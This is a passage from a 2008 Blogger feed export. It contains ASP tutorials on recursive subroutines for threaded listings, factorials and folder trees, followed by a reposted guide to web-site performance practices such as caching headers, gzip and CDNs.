it.&lt;/p&gt;&lt;p&gt;One of the best algorithms to know as a Web &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/899/parentid/154/Default.aspx" target="_new"&gt;developer&lt;/a&gt; is how to code recursive sub  procedures. What's recursion, and how does it help you as an ASP developer?  Recursion allows you to code parent-child relationships. Parent-child  relationships are the essence of directory tree-like structures. Trees allow  you to develop threaded discussions, directory &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/899/parentid/154/Default.aspx" target="_new"&gt;search engines&lt;/a&gt; (like santry.com), and  perform lookups through your directories.&lt;/p&gt;&lt;p&gt;This process is done by calling a subroutine unto itself. What  happens is the subroutine is initially called and then the subroutine calls  itself until an end or condition is reached. Say for instance your doing a  directory listing to list the contents of a directory, then each time the procedure  encounters a new directory it calls itself to list the contents of the  subdirectory, then the subroutine calls itself again to list the contents of  directories in this sub directory and so on.&lt;br&gt;    &lt;br&gt;    &lt;br&gt;  You can create this parent-child  relationship in a database table.&amp;nbsp;For example, the following table  structure in a &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/899/parentid/154/Default.aspx" target="_new"&gt;database&lt;/a&gt;:&lt;/p&gt;&lt;p align="center"&gt;&amp;nbsp;&lt;/p&gt;&lt;table width="314" border="1" align="center" cellpadding="0" cellspacing="5"&gt;    &lt;tr&gt;      &lt;td width="97" align="left"&gt;&lt;p align="center"&gt;&lt;strong&gt;RecordID&lt;br&gt;                (autonumber)&lt;/strong&gt;&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="83" align="left"&gt;&lt;p&gt;&lt;strong&gt;ParentID&lt;/strong&gt;&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="116" align="left"&gt;&lt;p&gt;&lt;strong&gt;DisplayName&lt;/strong&gt;&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td width="97"&gt;&lt;p align="center"&gt;        1&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="83"&gt;&lt;p&gt;0&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="116"&gt;&lt;p&gt;Topic 1&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td width="97"&gt;&lt;p align="center"&gt;        2&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="83"&gt;&lt;p&gt;0&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="116"&gt;&lt;p&gt;Topic 2&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td width="97"&gt;&lt;p align="center"&gt;        3&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="83"&gt;&lt;p&gt;1&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="116"&gt;&lt;p&gt;RE: Topic 1&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td width="97"&gt;&lt;p align="center"&gt;        4&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="83"&gt;&lt;p&gt;1&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="116"&gt;&lt;p&gt;RE: Topic 1&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td width="97"&gt;&lt;p align="center"&gt;        5&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="83"&gt;&lt;p&gt;2&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="116"&gt;&lt;p&gt;RE: RE: Topic 1&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td width="97"&gt;&lt;p align="center"&gt;        6&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="83"&gt;&lt;p&gt;2&lt;br&gt;      &lt;/p&gt;&lt;/td&gt;      &lt;td width="116"&gt;&lt;p&gt;RE: RE: Topic 1&lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/table&gt;&lt;p&gt;&lt;br&gt;    &lt;br&gt;  You can see from the above table that we have several records,  some of the records have a 0 as a ParentID, meaning this is a top level parent  record, then other records do have a value other than 0 in the ParentID,  meaning they are children of the record that has a matching ID in the table.  This structure is very versatile, in that you can have unlimited child records  using this structure, thus allowing you to create as many nests or branches you  wish. You should now see why this algorithm is very useful when it comes to the  Web. This structure drives those threaded forums, directories and all the cool  apps that you want to be able to create. &lt;br&gt;  &lt;br&gt;  &lt;br&gt;  The next piece of code shows how to make the SQL call and then  call the subroutine in order to display this structure to the user.&lt;br&gt;  Set DBConn =  Server.CreateObject(&amp;quot;ADODB.Connection&amp;quot;)&lt;br&gt;  DBConn.Open &amp;quot;DSN=MyDSN&amp;quot; &lt;br&gt;  'here we initially call the sub routine, we pass 0 as the parent  ID &lt;br&gt;  'this will pull all top level parent (meaning they don't have an  'ancestor). &lt;br&gt;  'we also pass 0 for the level, this is used for spacing, or&lt;br&gt;  'making the results appear threaded. &lt;br&gt;  DoTree(0,0)&lt;br&gt;  '---------------------------------------------------------- &lt;br&gt;  Sub DoTree(ParentID, intLevel) &lt;br&gt;  Dim SQLQ, DBConn, rs, i &lt;br&gt;  SQLQ = &amp;quot;SELECT RecordID, DisplayName FROM RECORDS &amp;quot;  &amp;amp; _ &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;WHERE ParentID = &amp;quot;  &amp;amp; ParentID &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set rs =  DBConn.Execute(SQLQ) &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Not rs.EOF Then &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Do  Until rs.EOF &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Response.Write &amp;quot;&amp;lt;img src=Spacer.gif Width= &amp;quot; &amp;amp; _&lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  15 * intLevel &amp;amp; &amp;quot;&amp;gt;&amp;quot; &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Response.Write rs(&amp;quot;DisplayName&amp;quot;) &amp;amp; &amp;quot;&amp;lt;br&amp;gt;&amp;quot; &lt;br&gt;  'now call the subroutine we're in to see if this value has &lt;br&gt;  'any children and increase the indent, and so on...&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  DoTree&amp;nbsp;rs(&amp;quot;RecordID&amp;quot;), intLevel + 1&amp;nbsp;&lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rs.MoveNext &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Loop &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rs.Close &lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set rs = Nothing&amp;nbsp;&lt;br&gt;  End Sub &lt;br&gt;  '------------------------------------------------------------ &lt;br&gt;  DBConn.Close &lt;br&gt;  Set DBConn= Nothing &lt;br&gt;  'Once this routine is execute you should see results similiar to  this: &lt;br&gt;  Topic 1&lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp; RE: Topic 1&lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RE: RE: Topic 1&lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RE: RE: Topic 1&lt;br&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp; RE: Topic 1&lt;br&gt;  Topic 2 &lt;/p&gt;&lt;p&gt;So you can see from this example how you can use this to create a  threaded type forum. You'll need to play around with the preceeding code a bit  and find out how you can put it to use in your &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/899/parentid/154/Default.aspx" target="_new"&gt;application&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Source: &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/899/parentid/154/Default.aspx" target="_new"&gt;http://www.wwwcoder.com/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-7794755377572990639?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/7794755377572990639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=7794755377572990639' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7794755377572990639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7794755377572990639'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/08/recursive-sub-procedures-in-asp.html' title='Recursive Sub-Procedures in ASP'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-4892904436397829200</id><published>2008-08-13T13:14:00.004+05:30</published><updated>2008-08-13T13:24:15.786+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASP'/><category scheme='http://www.blogger.com/atom/ns#' term='Recursive Functions'/><title type='text'>Recursive Functions in ASP</title><content type='html'>&lt;p&gt;A function that calls itself repeatedly, satisfying some condition is called   a Recursive Function. Using recursion, we split a complex problem into its   single simplest case. The recursive function only knows how to solve that   simplest case. You'll see the difference between solving a problem iteratively   and recursively later. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Warning!&lt;/strong&gt; &lt;/h2&gt;&lt;p&gt;Beware! Use the recursion technique carefully, if you fail to handle it   appropriately you can end up with a never-ending ASP application. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Same Old Factorial problem&lt;/strong&gt; &lt;/h2&gt;&lt;p&gt;Almost for every language, the beginners learning the concept of recursion   are presented with the same old Factorial problem. I'll follow the traditional   path, because I feel that it's the easiest way to understand the basic concept   of recursion. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Understanding the problem&lt;/strong&gt; &lt;/h2&gt;&lt;p&gt;In mathematics, the factorial of a positive integer n, written as n! is   represented by the following formula: &lt;/p&gt;&lt;p&gt;n! = n . (n-1) . (n-2) . (n-3) . Š. . 1 &lt;/p&gt;&lt;p&gt;In plain english, factorial of a number is the product of that number with a   number 1 less than that number, this multiplication process continues until the   number which is being multiplied, eventually becomes equal to 1. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Iterative Solution&lt;/strong&gt; &lt;/h2&gt;&lt;p&gt;In the following function the value of 5! is calculated iteratively: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;&amp;lt;%  &lt;br /&gt;Response.Write iterativeFactorial (5)    &lt;br /&gt;&lt;br /&gt;Function iterativeFactorial ( intNumber )&lt;br /&gt;   &lt;br /&gt; Dim intCount, intFactorial  &lt;br /&gt;   &lt;br /&gt; intFactorial = 1  &lt;br /&gt; For intCount = intNumber To 1 Step -1&lt;br /&gt;   &lt;br /&gt;  intFactorial = intFactorial * intCount&lt;br /&gt;   Next  &lt;br /&gt;   iterativeFactorial = intFactorial  &lt;br /&gt;End Function&lt;br /&gt;%&amp;gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;Recursive Solution&lt;/strong&gt; &lt;/p&gt;&lt;p&gt;The following function represents the recursive solution for the factorial   problem. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;  &lt;pre&gt;&amp;lt;%  &lt;br /&gt;  Response.Write recursiveFactorial (5)    &lt;br /&gt;  Function recursiveFactorial ( intNumber )&lt;br /&gt;   If intNumber &amp;lt;= 1 Then&lt;br /&gt;    recursiveFactorial = 1  Else&lt;br /&gt;   recursiveFactorial = intNumber * recursiveFactorial ( intNumber - 1 )&lt;br /&gt;   End If  &lt;br /&gt;  End Function  &lt;br /&gt;%&amp;gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;p&gt;The working of the above function recursiveFactorial is simple. If the   integer argument "intNumber" is less than or equal to one, then the function   returns 1, else the return value of the function is the product of intNumber   with the value returned by the same function for integer argument "intNumber-1". &lt;/p&gt;&lt;p&gt;Answer of the above problem: &lt;/p&gt;&lt;p&gt;5! = 5 . (5-1) . (5-2) . (5-3) . (5-4) &lt;/p&gt;&lt;p&gt;Simplifying: &lt;/p&gt;&lt;p&gt;5! = 5 . 4 . 3 . 2. 1 = 120 &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example: Folder Tree&lt;/strong&gt; &lt;/p&gt;&lt;p&gt;The following example will display the tree structure for a specified folder. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;p&gt;&amp;lt;%&lt;br /&gt;  ' Displays the Tree structure, replaces vbTab character with 3 HTML  spaces&lt;br /&gt;&lt;br /&gt;  Response.Write Replace (DisplayFolderTree (&amp;quot;c:\windows&amp;quot;, 0), vbTab,  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;)&lt;br /&gt;&lt;br /&gt;  Function DisplayFolderTree ( strFolder, intTreeLevel )&lt;br /&gt;&lt;br /&gt;   Dim objFileSystem, objFolder, objSubFolders, objTempFolder  &lt;br /&gt;   Set objFileSystem = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;&lt;br /&gt;   ' Get the name of current folder&lt;br /&gt;   Set objFolder = objFileSystem.GetFolder ( strFolder )  &lt;br /&gt;&lt;br /&gt;   ' Get the list of subfolders&lt;br /&gt;   Set objSubFolders = objFolder.SubFolders  &lt;br /&gt;&lt;br /&gt;   ' Adds the name of current folder with proper indentation&lt;br /&gt;   ' intTreeLevel is used only for indenting folder name  according to its pos ition&lt;br /&gt;   DisplayFolderTree = DisplayFolderTree &amp;amp; String ( intTreeLevel,  vbTab) &amp;amp; &amp;quot;&amp;bull;&amp;quot;&lt;br /&gt;   DisplayFolderTree = DisplayFolderTree &amp;amp; vbTab &amp;amp; objFolder.Name &amp;amp;  &amp;quot;&amp;lt;br&amp;gt;&amp;quot;&lt;br /&gt;  &lt;br /&gt;   ' Recursion takes place here&lt;br /&gt;   ' If any &amp;quot;subfolders exist&amp;quot;, the function is repeated for  them too!&lt;br /&gt;   If objSubFolders.Count &amp;gt; 0 Then&lt;br /&gt;    For Each objTempFolder in objSubFolders&lt;br /&gt;     strArgument = strFolder &amp;amp; &amp;quot;\&amp;quot; &amp;amp; objTempFolder.Name&lt;br /&gt;     DisplayFolderTree = DisplayFolderTree &amp;amp;  DisplayFolderTree ( strArgument, intTreeLevel+1 )&lt;br /&gt;    Next&lt;br /&gt;    End If  &lt;br /&gt;&lt;br /&gt;   ' When the control reaches HERE! This means your function has  ended&lt;br /&gt;   ' Now no more recursive calls to the function will take place&lt;br /&gt;  &lt;br /&gt;  End Function  &lt;br /&gt;%&amp;gt;    &lt;/p&gt;&lt;br /&gt;  &lt;/pre&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt; &lt;/p&gt;&lt;p&gt;The recursive functions solve the problem in a method much identical to their   real-life solutions. In the example above, we simply display the name of current   folder. Then we obtain a list of subfolders and repeat the function for each of   them. &lt;/p&gt;&lt;p&gt;While using iterative functions we know about the number of iterations, ie.   how many times a loop will be executed, in advance. &lt;/p&gt;&lt;p&gt;In the factorial problem, recursion is not necessary because we know that a   loop will be executed until the value of the number becomes 1. But, in Folder   Tree example, we never know how many subfolders may be present in a folder and   how many iterations will be required. For this purpose, the most suitable   solution is to call the function recursively to display information about a   folder and its subfolders. &lt;/p&gt;&lt;p&gt;Source: &lt;a href="http://www.15seconds.com/issue/000803.htm" target="_new"&gt;http://www.15seconds.com/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-4892904436397829200?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/4892904436397829200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=4892904436397829200' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4892904436397829200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4892904436397829200'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/08/recursive-functions-in-asp.html' title='Recursive Functions in ASP'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-9059802261799158117</id><published>2008-07-09T18:50:00.002+05:30</published><updated>2008-07-09T19:03:08.937+05:30</updated><title type='text'>Best Practices for Speeding Up Your Web Site</title><content type='html'>&lt;p&gt;  The Exceptional Performance team has identified a number of best practices for making web pages fast. &lt;/p&gt;&lt;h3 id="num_http"&gt;Minimize HTTP Requests&lt;/h3&gt;&lt;p&gt;80% of the end-user response time is spent on the front-end. Most of  this time is tied up in downloading all the components in the page:  images, stylesheets, scripts, Flash, etc. Reducing the number of  components in turn reduces the number of HTTP requests required to  render the page. This is the key to faster pages. &lt;/p&gt;&lt;p&gt;One way to reduce the number of components in the page is to  simplify the page's design. But is there a way to build pages with  richer content while also achieving fast response times? Here are some  techniques for reducing the number of HTTP requests, while still  supporting rich page designs.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Combined files&lt;/strong&gt; are a way to reduce the number of  HTTP requests by combining all scripts into a single script, and  similarly combining all CSS into a single stylesheet. Combining files  is more challenging when the scripts and stylesheets vary from page to  page, but making this part of your release process improves response  times.&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://alistapart.com/articles/sprites"&gt;&lt;strong&gt;CSS Sprites&lt;/strong&gt;&lt;/a&gt; are the preferred method for reducing the number of image requests.  Combine your background images into a single image and use the CSS background-image and background-position properties to display the desired image segment.&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://www.w3.org/TR/html401/struct/objects.html#h-13.6"&gt;&lt;strong&gt;Image maps&lt;/strong&gt;&lt;/a&gt; combine multiple images into a single image. The overall size is about  the same, but reducing the number of HTTP requests speeds up the page.  Image maps only work if the images are contiguous in the page, such as  a navigation bar. Defining the coordinates of image maps can be tedious  and error prone. Using image maps for navigation is not accessible too,  so it's not recommended.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Inline images&lt;/strong&gt; use the &lt;a target="_blank" href="http://tools.ietf.org/html/rfc2397"&gt;data: URL scheme&lt;/a&gt; to embed the image data in the actual page. This can increase the size  of your HTML document. Combining inline images into your (cached)  stylesheets is a way to reduce HTTP requests and avoid increasing the  size of your pages. Inline images are not yet supported across all  major browsers.&lt;/p&gt;&lt;p&gt;Reducing the number of HTTP requests in your page is the place to  start. This is the most important guideline for improving performance  for first time visitors. As described in Tenni Theurer's blog post &lt;a target="_blank" href="http://yuiblog.com/blog/2007/01/04/performance-research-part-2/"&gt;Browser Cache Usage - Exposed!&lt;/a&gt;,  40-60% of daily visitors to your site come in with an empty cache.  Making your page fast for these first time visitors is key to a better  user experience.&lt;/p&gt;&lt;h3 id="cdn"&gt;Use a Content Delivery Network&lt;/h3&gt;&lt;p&gt;The user's proximity to your web server has an impact on response  times. Deploying your content across multiple, geographically dispersed  servers will make your pages load faster from the user's perspective.  But where should you start?&lt;/p&gt;&lt;p&gt;As a first step to implementing geographically dispersed content,  don't attempt to redesign your web application to work in a distributed  architecture. Depending on the application, changing the architecture  could include daunting tasks such as synchronizing session state and  replicating database transactions across server locations. Attempts to  reduce the distance between users and your content could be delayed by,  or never pass, this application architecture step. &lt;/p&gt;&lt;p&gt;Remember that 80-90% of the end-user response time is spent  downloading all the components in the page: images, stylesheets,  scripts, Flash, etc. This is the &lt;em&gt;Performance Golden Rule&lt;/em&gt;.  Rather than starting with the difficult task of redesigning your  application architecture, it's better to first disperse your static  content. This not only achieves a bigger reduction in response times,  but it's easier thanks to content delivery networks.&lt;/p&gt;&lt;p&gt;A content delivery network (CDN) is a collection of web servers  distributed across multiple locations to deliver content more  efficiently to users. The server selected for delivering content to a  specific user is typically based on a measure of network proximity. For  example, the server with the fewest network hops or the server with the  quickest response time is chosen.&lt;/p&gt;&lt;p&gt;Some large Internet companies own their own CDN, but it's cost-effective to use a CDN service provider, such as &lt;a target="_blank" href="http://www.akamai.com/"&gt;Akamai Technologies&lt;/a&gt;, &lt;a target="_blank" href="http://www.mirror-image.com/"&gt;Mirror Image Internet&lt;/a&gt;, or &lt;a target="_blank" href="http://www.limelightnetworks.com/"&gt;Limelight Networks&lt;/a&gt;.  For start-up companies and private web sites, the cost of a CDN service  can be prohibitive, but as your target audience grows larger and  becomes more global, a CDN is necessary to achieve fast response times.  At Yahoo!, properties that moved static content off their application  web servers to a CDN improved end-user response times by 20% or more.  Switching to a CDN is a relatively easy code change that will  dramatically improve the speed of your web site.&lt;/p&gt;&lt;h3 id="expires"&gt;Add an Expires or a Cache-Control Header&lt;/h3&gt;&lt;p&gt;There are two things in this rule:&lt;/p&gt;&lt;ul&gt;  &lt;li&gt;For static components: implement &amp;quot;Never expire&amp;quot; policy by setting far future Expires header&lt;/li&gt;  &lt;li&gt;For dynamic components: use an appropriate Cache-Control header to help the browser with conditional requests&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Web page designs are getting richer and richer, which means more  scripts, stylesheets, images, and Flash in the page. A first-time  visitor to your page may have to make several HTTP requests, but by  using the Expires header you make those components cacheable. This  avoids unnecessary HTTP requests on subsequent page views. Expires  headers are most often used with images, but they should be used on &lt;em&gt;all&lt;/em&gt; components including scripts, stylesheets, and Flash components.&lt;/p&gt;&lt;p&gt;Browsers (and proxies) use a cache to reduce the number and size of  HTTP requests, making web pages load faster. A web server uses the  Expires header in the HTTP response to tell the client how long a  component can be cached. This is a far future Expires header, telling  the browser that this response won't be stale until April 15, 2010. &lt;/p&gt;&lt;pre&gt;      Expires: Thu, 15 Apr 2010 20:00:00 GMT&lt;/pre&gt;&lt;p&gt;If your server is Apache, use the ExiresDefault directive to set an  expiration date relative to the current date. This example of the  ExpiresDefault directive sets the Expires date 10 years out from the  time of the request.&lt;/p&gt;&lt;pre&gt;      ExpiresDefault &amp;quot;access plus 10 years&amp;quot;&lt;/pre&gt;&lt;p&gt;Keep in mind, if you use a far future Expires header you have to  change the component's filename whenever the component changes. At  Yahoo! we often make this step part of the build process: a version  number is embedded in the component's filename, for example,  yahoo_2.0.6.js.&lt;/p&gt;&lt;p&gt;Using a far future Expires header affects page views only after a  user has already visited your site. It has no effect on the number of  HTTP requests when a user visits your site for the first time and the  browser's cache is empty. Therefore the impact of this performance  improvement depends on how often users hit your pages with a primed  cache. (A &amp;quot;primed cache&amp;quot; already contains all of the components in the  page.) We &lt;a target="_blank" href="http://yuiblog.com/blog/2007/01/04/performance-research-part-2/"&gt;measured this at Yahoo!&lt;/a&gt; and found the number of page views with a primed cache is 75-85%. By  using a far future Expires header, you increase the number of  components that are cached by the browser and re-used on subsequent  page views without sending a single byte over the user's Internet  connection.&lt;/p&gt;&lt;h3 id="gzip"&gt;Gzip Components&lt;/h3&gt;&lt;p&gt;The time it takes to transfer an HTTP request and response across  the network can be significantly reduced by decisions made by front-end  engineers. It's true that the end-user's bandwidth speed, Internet  service provider, proximity to peering exchange points, etc. are beyond  the control of the development team. But there are other variables that  affect response times. Compression reduces response times by reducing  the size of the HTTP response.&lt;/p&gt;&lt;p&gt;Starting with HTTP/1.1, web clients indicate support for compression with the Accept-Encoding header in the HTTP request.&lt;/p&gt;&lt;pre&gt;      Accept-Encoding: gzip, deflate&lt;/pre&gt;&lt;p&gt;If the web server sees this header in the request, it may compress  the response using one of the methods listed by the client. The web  server notifies the web client of this via the Content-Encoding header  in the response.&lt;/p&gt;&lt;pre&gt;      Content-Encoding: gzip&lt;/pre&gt;&lt;p&gt;Gzip is the most popular and effective compression method at this time. It was developed by the GNU project and standardized by &lt;a target="_blank" href="http://www.ietf.org/rfc/rfc1952.txt"&gt;RFC 1952&lt;/a&gt;. The only other compression format you're likely to see is deflate, but it's less effective and less popular. &lt;/p&gt;&lt;p&gt;Gzipping generally reduces the response size by about 70%.  Approximately 90% of today's Internet traffic travels through browsers  that claim to support gzip. If you use Apache, the module configuring  gzip depends on your version: Apache 1.3 uses &lt;a target="_blank" href="http://sourceforge.net/projects/mod-gzip/"&gt;mod_gzip&lt;/a&gt; while Apache 2.x uses &lt;a target="_blank" href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html"&gt;mod_deflate&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;There are known issues with browsers and proxies that may cause a  mismatch in what the browser expects and what it receives with regard  to compressed content. Fortunately, these edge cases are dwindling as  the use of older browsers drops off. The Apache modules help out by  adding appropriate Vary response headers automatically. &lt;/p&gt;&lt;p&gt;Servers choose what to gzip based on file type, but are typically  too limited in what they decide to compress. Most web sites gzip their  HTML documents. It's also worthwhile to gzip your scripts and  stylesheets, but many web sites miss this opportunity. In fact, it's  worthwhile to compress any text response including XML and JSON. Image  and PDF files should not be gzipped because they are already  compressed. Trying to gzip them not only wastes CPU but can potentially  increase file sizes. &lt;/p&gt;&lt;p&gt;Gzipping as many file types as possible is an easy way to reduce page weight and accelerate the user experience.&lt;/p&gt;&lt;h3 id="css_top"&gt;Put Stylesheets at the Top&lt;/h3&gt;&lt;p&gt;While researching performance at Yahoo!, we discovered that moving stylesheets to the document HEAD makes pages &lt;em&gt;apprear&lt;/em&gt; to be loading faster. This is because putting stylesheets in the HEAD allows the page to render progressively. &lt;/p&gt;&lt;p&gt;Front-end engineers that care about performance want a page to load  progressively; that is, we want the browser to display whatever content  it has as soon as possible. This is especially important for pages with  a lot of content and for users on slower Internet connections. The  importance of giving users visual feedback, such as progress  indicators, has been well researched and &lt;a target="_blank" href="http://www.useit.com/papers/responsetime.html"&gt;documented&lt;/a&gt;.  In our case the HTML page is the progress indicator! When the browser  loads the page progressively the header, the navigation bar, the logo  at the top, etc. all serve as visual feedback for the user who is  waiting for the page. This improves the overall user experience.&lt;/p&gt;&lt;p&gt;The problem with putting stylesheets near the bottom of the document  is that it prohibits progressive rendering in many browsers, including  Internet Explorer. These browsers block rendering to avoid having to  redraw elements of the page if their styles change. The user is stuck  viewing a blank white page. &lt;/p&gt;&lt;p&gt;The &lt;a target="_blank" href="http://www.w3.org/TR/html4/struct/links.html#h-12.3"&gt;HTML specification&lt;/a&gt; clearly states that stylesheets are to be included in the HEAD of the  page: &amp;quot;Unlike A, [LINK] may only appear in the HEAD section of a  document, although it may appear any number of times.&amp;quot; Neither of the  alternatives, the blank white screen or flash of unstyled content, are  worth the risk. The optimal solution is to follow 